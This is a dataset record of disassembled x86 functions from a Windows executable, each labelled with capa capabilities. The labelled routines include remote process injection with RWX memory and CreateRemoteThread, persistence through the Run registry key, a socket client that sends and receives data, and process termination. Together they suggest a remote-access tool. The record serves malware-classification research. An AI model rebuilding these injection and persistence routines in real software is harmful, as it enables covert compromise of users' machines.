joyce8/EMBER2024-capa huggingface dataset:
Function at 0x474d58
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x474dde
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00405728
mov eax, dword [ebp - 8]
test eax, eax
je 0x474d8c
sub eax, 4
mov eax, dword [eax]
push 0x40
push 0x3000
inc eax
push eax
push 0
push esi
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00405728
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x474db5
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 4]
push edx
inc eax
push eax
push ebx
push edi
push esi
call sub.KERNEL32.DLL_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474de5
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00405554
ret

Function at 0x474df0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x474e20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00474df0
mov esi, eax
mov eax, edi
call fcn.00474d34
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.00474df0
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.KERNEL32.DLL_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x474e86
push 0xffffffffffffffff
push edi
call sub.KERNEL32.DLL_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.KERNEL32.DLL_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x475e2c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475ebd
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x494b58]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.004613d8
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475e87
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
push esi
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
mov eax, dword [0x494af0]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475ec4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475ecc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475f58
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x494b58]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.004613d8
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475f29
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
push 0
push ebx
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
push esi
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475f5f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475fd8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
xor eax, eax
push ebp
push 0x47608a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
lea eax, [ebx + 4]
call fcn.00405530
lea eax, [ebx + 8]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 0x10]
mov edx, 0x4760a0
call fcn.00405584
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
push 0
push esi
push 0x48317c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x476091
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret
Function at 0x47eaec
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x47eaf4
push ebx
push esi
mov esi, dword [0x494cbc]
xor eax, eax
push ebp
push 0x47ecf0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x494b58]
push dword [eax]
lea eax, [ebp - 0x1c]
call fcn.0048bf2c
push dword [ebp - 0x1c]
lea edx, [ebp - 0x24]
mov eax, 0x47ed08
call fcn.004735e8
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00409b7c
push dword [ebp - 0x20]
mov eax, dword [0x494b58]
mov edx, 3
call fcn.004058e0
mov eax, dword [0x494a74]
mov byte [eax], 0
mov eax, dword [0x494bac]
xor edx, edx
mov dword [eax], edx
lea edx, [ebp - 0x28]
mov eax, 0x47ed14
call fcn.004735e8
mov eax, dword [ebp - 0x28]
mov edx, 0x47ed28
call fcn.00405974
jne 0x47eb9d
mov eax, dword [0x494c2c]
push eax
push 0
push 0
push 0x482028
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov eax, dword [0x4948f4]
mov dword [eax], 1
mov eax, dword [0x4948b0]
mov byte [eax], 1
movzx eax, byte [0x47ed2c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [0x494c14]
mov eax, dword [eax]
mov ecx, 0x47ed38
mov edx, 0x47ed44
call fcn.0040ef44
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x494c14]
call fcn.00405584
mov edx, dword [0x494c14]
mov edx, dword [edx]
mov eax, dword [0x494808]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea edx, [ebp - 0x30]
mov eax, dword [0x494910]
mov eax, dword [eax]
call fcn.0048bf54
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4949e4]
call fcn.00405584
mov eax, dword [0x4949e4]
mov eax, dword [eax]
mov edx, 0x47ed50
call fcn.00405974
jne 0x47ec6f
call fcn.0040bc98
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov edx, dword [0x494968]
mov edx, dword [edx]
lea eax, [ebp - 4]
call fcn.0040c8f8
call fcn.0040bcc4
fstp qword [ebp - 0x18]
wait
push dword [ebp - 0x14]
push dword [ebp - 0x18]
mov edx, dword [0x494ac8]
mov edx, dword [edx]
lea eax, [ebp - 8]
call fcn.0040c8f8
push dword [ebp - 4]
push 0x47ed60
push dword [ebp - 8]
mov eax, dword [0x4949e4]
mov edx, 3
call fcn.004058e0
mov cl, 1
mov dl, 1
mov eax, dword [0x4864c0]
call fcn.0041fa34
mov edx, dword [0x494d18]
mov dword [edx], eax
mov eax, dword [0x494d18]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x494d18]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fc40
mov eax, dword [0x494d18]
mov eax, dword [eax]
call fcn.0041fef0
jmp 0x47ecb8
push esi
call sub.user32.dll_TranslateMessage
push esi
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
push esi
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x47ecac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ecf7
lea eax, [ebp - 0x30]
mov edx, 6
call fcn.00405554
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x4824b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x482542
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x408]
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4824f5
sub eax, 4
mov eax, dword [eax]
mov edx, eax
dec edx
test edx, edx
jl 0x482513
inc edx
xor esi, esi
lea eax, [ebp - 0x408]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + esi]
mov byte [eax], cl
inc esi
inc eax
dec edx
jne 0x482505
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482549
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x482c40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x482cb2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xc
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
mov dword [ebx + 4], edi
mov eax, dword [ebp - 8]
mov dword [ebx + 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
push esi
push 0x482b34
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482cb9
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x484388
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4843e7
xor eax, eax
push ebp
push 0x4843e0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GetExitCodeProcess
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4843e7
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_CloseHandle
ret
pop ecx
pop ecx
pop ebp
ret
Function at 0x484fc0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x4850ed
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4850b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf003f
mov dl, 1
mov eax, dword [0x4215c4]
call fcn.00421708
mov ebx, eax
mov eax, dword [ebp - 4]
mov edx, 0x485108
call fcn.00405974
jne 0x48503a
mov esi, 0x80000002
mov eax, dword [ebp - 4]
mov edx, 0x485114
call fcn.00405974
jne 0x48504e
mov esi, 0x80000001
mov eax, dword [ebp - 8]
mov edx, 0x485114
call fcn.00405974
jne 0x48506a
lea eax, [ebp - 0x10]
mov edx, 0x485120
call fcn.004055c8
mov eax, dword [ebp - 8]
mov edx, 0x485108
call fcn.00405974
jne 0x485086
lea eax, [ebp - 0x10]
mov edx, 0x485120
call fcn.004055c8
mov edx, esi
mov eax, ebx
call fcn.004217a0
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.004218e4
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00422008
mov eax, ebx
call fcn.00404650
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4850ca
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4850f4
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x485150
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48520a
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4851de
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x485218
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4851aa
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
push ebx
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4851ef
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485211
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x485888
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
xor eax, eax
push ebp
push 0x485939
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
lea eax, [ebx + 4]
call fcn.00405530
lea eax, [ebx + 8]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 0x10]
mov edx, 0x485950
call fcn.00405584
mov eax, dword [0x494c2c]
push eax
push 0
push esi
push 0x48317c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485940
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret

Function at 0x485f40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x486072
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x49c3a0], eax
cmp dword [0x49c3a0], 0xffffffff
je 0x486057
mov word [ebp - 0x10], 2
mov eax, dword [0x4949d4]
movzx eax, word [eax]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
mov eax, dword [0x494b30]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
mov dword [ebp - 0xc], edi
inc edi
jne 0x485fcc
mov eax, dword [0x494b30]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x486057
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_connect
push 0
push 0x1fff
push 0x49a3a0
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49a3a0
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
lea edx, [ebp - 0x18]
mov eax, dword [esi + 0x50]
call fcn.00409d70
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x48608c
call fcn.00405864
mov edx, dword [ebp - 0x14]
mov eax, dword [0x49c3a0]
call fcn.00475ecc
push 0
push 0x1fff
push 0x49a3a0
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49a3a0
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486079
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00405554
ret
Function at 0x4878a4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x487a08
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x49c3a8
call sub.KERNEL32.DLL_EnterCriticalSection
xor eax, eax
push ebp
push 0x4879d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00487318
test al, al
je 0x48791c
call fcn.00404f70
jmp 0x4879d8
push dword [ebp - 4]
push 0x487a20
push dword [ebp - 8]
push 0x487a20
push dword [ebp - 0xc]
push 0x487a20
push dword [ebp + 8]
push 0x487a2c
lea eax, [ebp - 0x10]
mov edx, 8
call fcn.004058e0
mov edx, dword [ebp - 0x10]
mov eax, dword [0x49c3a4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x10
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
mov ebx, esi
mov eax, dword [ebp - 8]
call fcn.00409edc
mov dword [ebx], eax
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.00409b7c
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 4]
call fcn.00405584
lea edx, [ebp - 0x1c]
mov eax, dword [ebp + 8]
call fcn.00409b7c
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 8]
call fcn.00405584
xor eax, eax
mov dword [ebx + 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0
push esi
push 0x486e2c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4879d8
push 0x49c3a8
call sub.KERNEL32.DLL_LeaveCriticalSection
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x487a0f
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00405554
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x487ee4
Capabilities:
Power down monitor

Disassembly:
push ebx
mov ebx, eax
cmp byte [ebx + 0x50], 0
je 0x487ef4
xor eax, eax
call fcn.00489e9c
cmp byte [ebx + 0x51], 0
je 0x487f01
xor eax, eax
call fcn.00489ff0
cmp byte [ebx + 0x52], 0
je 0x487f1d
push 2
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
cmp byte [ebx + 0x53], 0
je 0x487f2a
mov al, 1
call fcn.0048b1a0
pop ebx
ret

Function at 0x488d04
Capabilities:
Create process on windows

Disassembly:
sub eax, 1
jb 0x488d15
je 0x488d2d
sub eax, 2
je 0x488d45
dec eax
je 0x488d4b
jmp 0x488d50
push 5
push 0
push 0
push 0x488d54
push 0x488d5c
push 0
call sub.shell32.dll_ShellExecuteA
ret
push 5
push 0
push 0
push 0x488d64
push 0x488d5c
push 0
call sub.shell32.dll_ShellExecuteA
ret
call fcn.00461c1c
ret
call fcn.00461c54
ret
Function at 0x489864
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x4898de
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [esi + 0x48], 0
je 0x4898c8
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x489899
sub ebx, 4
mov ebx, dword [ebx]
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [esi + 0x40]
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x4898f4
mov eax, dword [esi + 0x40]
push eax
call sub.KERNEL32.DLL_WriteFile
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4898e5
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x489bb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x489c5f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x489be2
sub ebx, 4
mov ebx, dword [ebx]
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
push ebx
call sub.KERNEL32.DLL_GetTempPathA
mov edx, eax
lea eax, [ebp - 4]
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x489c07
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 8]
mov edx, 0x489c74
call fcn.00405974
je 0x489c3a
mov eax, esi
mov ecx, 0x489c74
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x489c44
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x489c66
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x489c78
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x489d27
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x489caa
sub ebx, 4
mov ebx, dword [ebx]
push ebx
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov edx, eax
lea eax, [ebp - 4]
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x489ccf
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 8]
mov edx, 0x489d3c
call fcn.00405974
je 0x489d02
mov eax, esi
mov ecx, 0x489d3c
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x489d0c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x489d2e
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x48a8ac
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc7c
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
mov eax, ebx
call fcn.0040a26c
test al, al
jne 0x48a8d2
mov byte [ebp - 1], 0
jmp 0x48aaa2
lea eax, [ebp - 0x119]
mov edx, edi
call fcn.0040a928
lea eax, [ebp - 0x21e]
mov edx, ebx
call fcn.0040a928
lea eax, [ebp - 0x323]
mov edx, esi
call fcn.0040a928
xor eax, eax
push ebp
push 0x48aa9b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x384]
xor ecx, ecx
mov edx, 0xc
call fcn.00403af4
mov dword [ebp - 0x384], 0xc
xor eax, eax
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], 0xffffffff
push 0
push pe_nt_image_headers32
push 4
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x21e]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x48a96f
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x48aaa2
push 0
push pe_nt_image_headers32
push 2
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x323]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x48a9a9
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x48aaa2
lea eax, [ebp - 0x368]
xor ecx, ecx
mov edx, 0x44
call fcn.00403af4
mov dword [ebp - 0x368], 0x44
mov dword [ebp - 0x33c], 0x101
mov word [ebp - 0x338], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x330], eax
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x368]
push eax
push 0
push 0
push 0x110
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x119]
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x48aa46
push 0xffffffffffffffff
mov eax, dword [ebp - 0x378]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
mov eax, dword [ebp - 0x378]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0xc], eax
jmp 0x48aa51
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x48aaa2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48aaa2
cmp dword [ebp - 0x14], 0
je 0x48aa6d
mov eax, dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp dword [ebp - 0x10], 0
je 0x48aa7c
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp dword [ebp - 0xc], 0
je 0x48aa8b
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp dword [ebp - 8], 0
je 0x48aa9a
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_CloseHandle
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4